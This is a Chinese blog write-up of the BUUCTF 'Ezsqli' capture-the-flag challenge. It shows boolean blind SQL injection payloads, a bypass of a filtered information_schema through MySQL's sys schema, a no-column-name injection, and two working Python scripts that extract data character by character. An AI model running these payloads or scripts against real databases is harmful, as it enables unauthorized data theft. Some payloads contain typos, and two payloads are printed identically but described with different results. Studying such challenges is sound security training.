BUUCTF WEB Ezsqli

原创

显哥无敌 于 2022-04-01 11:52:58 发布

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/123894208

继续刷题，comment之前在攻防世界刷过了，就不刷了。从题目上我们就知道这一题是个sql注入题

打开场景，我们发现依旧的儒雅随和

一个查询框，那么就是要硬搞了呗

经查询1，2是两条有效数字，0和其他的都是非法输入

1+1成功回显2，下面就是过滤字判断

既然是布尔型的回显，先试试0^1,嗯，异或符给我们留下了

布尔类型查用的substr，ascii先试试

0^(ascii(substr('hello',1,1))>1)

1^(ascii(substr('hello',1,1))>1)

成功回显，说明这两个关键函数没被禁用

数据库爆破没问题的说

0^(ascii(substr((select database()),1,1))>1)

那么开始爆破数据库

```
import requests
import time
if __name__ == '__main__':
    url = 'http://6c6f5e05-7691-4510-86f0-317b1201b01d.node4.buuoj.cn:81/index.php'
    payload1 = '(select database())'
    flag = ''
    for i in range(50):
        l = 0
        r = 255
        mid = (l + r) // 2
        while (l < r):
            response = requests.post(url=url,
                                     data={"id": "0^(ascii(substr({},{},1))>{})".format(payload1, str(i + 1), st
r(mid))})
            if 'Nu1L' in response.text:
                print("小了")
                l = mid + 1
            else:
                print("大了")
                r = mid
            mid = (l + r) // 2
            time.sleep(1)
        flag += chr(mid)
        print(flag)
```

好吧，爆破结果出来还是不看为好
下面是爆表名，爆表名的时候出问题了，information_schema被过滤了，在查阅了资料之后，发现这样一个思路
在5.7以上的MYSQL中，新增了sys数据库，该库的基础数据来自information_schema和performance_chema，其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
于是得到payload2
payload2="(select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=databse())"
不得不说这个出题人确实很喜欢叠字，估计是老bilibili了
得到flag所在的表名
f1ag_1s_h3r3_hhhhh
下面是这题真正的考点了，经过测试 payload3="(select * from f1ag_1s_h3r3_hhhhh)"行不通，具体是过滤了什么我也猜不出来，反正不能直接读取
。。。。经过查找https://www.cnblogs.com/Lee-404/p/12833788.html，发现了这种叫无列名注入，大概就是禁止了表或者列的查阅权限，在不知道列名的情况下进行注入
对应本题就是列名未知，首先第一个是要确定有几列
尝试`payload3=1^(select((select 1)>(select * from f1ag_1s_h3r3_hhhhh)))`
回显boolen(false)说明列数不对

```
payload4=1^(select((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh)))
```

回显Error Occured When Fetch Result.

```
payload5=1^(select((select 1,1)>(select * from f1ag_1s_h3r3_hhhhh)))
```

回显boolen(false)说明列数不对
说明返回的是一个两列的数字
其实我们盲猜都猜到了，第一列是id=1，验证一下

```
payload5=1^(select((select 1,1)=(select * from f1ag_1s_h3r3_hhhhh)))
```

回显Nu1L
爆破flag脚本：

```
import requests
import time
if __name__ == '__main__':
    url = 'http://6c6f5e05-7691-4510-86f0-317b1201b01d.node4.buuoj.cn:81/index.php'
    payload1 = '(select database())'
    flag = ''
    for i in range(50):
        l = 33
        r = 128
        mid = (l + r) // 2
        while (l < r):
            response = requests.post(url=url,
                                     data = {"id": "-1||(select 1,\"{}\")<{}".format(flag+chr(mid), "(select * f
rom f1ag_1s_h3r3_hhhhh)")})
            if 'Nu1L' in response.text:
                print("小了")
                l = mid + 1
            else:
                print("大了")
                r = mid
            mid = (l + r) // 2
            time.sleep(1)
        flag += chr(mid-1)
        print(flag)
```

把大写换成小写就拿到flag了
直接加一行
print(flag.lower())